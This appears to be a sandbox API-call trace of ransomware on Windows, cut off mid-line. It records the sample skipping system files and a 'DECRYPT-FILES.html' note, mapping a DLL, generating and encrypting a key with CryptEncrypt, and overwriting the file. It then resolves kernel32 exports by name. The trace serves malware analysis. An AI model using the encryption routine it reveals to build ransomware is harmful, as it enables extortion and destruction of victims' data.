[0139.825] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0139.825] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0139.826] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0139.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\") returned 27 [0139.826] lstrlenW (lpString="SetupResources.dll") returned 18 [0139.826] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\2070\\" | out: lpString1="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0139.826] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" [0139.826] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0139.826] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18776) returned 1 [0139.826] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0139.826] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0139.926] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0139.926] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0139.926] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.926] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0139.927] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0139.927] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.928] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0139.928] CloseHandle (hObject=0x5f8) returned 1 [0139.928] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.928] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0139.929] CloseHandle (hObject=0x0) returned 0 [0139.929] CloseHandle (hObject=0x5f4) returned 1 [0139.930] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.930] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.930] GetTickCount () returned 0x384c1 [0139.930] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.931] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0139.931] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0139.931] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.931] lstrlenA (lpString="kernel32.dll") returned 12 [0139.931] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0139.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0139.931] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0139.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0139.931] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0139.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0139.931] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0139.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0139.932] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0139.932] lstrlenA (lpString="ADDATOMA") returned 8 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0139.932] lstrlenA (lpString="ADDATOMW") returned 8 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0139.932] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0139.932] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0139.932] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0139.932] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0139.932] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0139.932] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0139.932] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0139.932] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0139.932] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0139.932] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0139.932] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0139.932] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0139.932] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0139.932] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0139.932] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0139.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0139.933] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0139.933] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0139.933] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0139.933] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0139.933] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0139.933] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0139.933] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0139.933] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0139.933] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0139.933] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0139.933] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0139.933] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0139.933] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0139.933] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0139.933] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0139.933] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0139.933] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0139.933] lstrlenA (lpString="BACKUPREAD") returned 10 [0139.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0139.934] lstrlenA (lpString="BACKUPSEEK") returned 10 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0139.934] lstrlenA (lpString="BACKUPWRITE") returned 11 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0139.934] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0139.934] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0139.934] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0139.934] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0139.934] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0139.934] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0139.934] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0139.934] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0139.934] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0139.934] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0139.934] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0139.934] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0139.934] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0139.934] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0139.934] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0139.934] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0139.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0139.935] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0139.935] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0139.935] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0139.935] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0139.935] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0139.935] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0139.935] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0139.935] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0139.935] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0139.935] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0139.935] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0139.935] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0139.935] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0139.935] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0139.935] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0139.935] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0139.935] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0139.935] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0139.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0139.935] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0139.936] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0139.936] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0139.936] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0139.936] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0139.936] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0139.936] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0139.936] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0139.936] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0139.936] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0139.936] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0139.936] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0139.936] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0139.936] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0139.936] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0139.936] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0139.936] lstrcpyA (in: 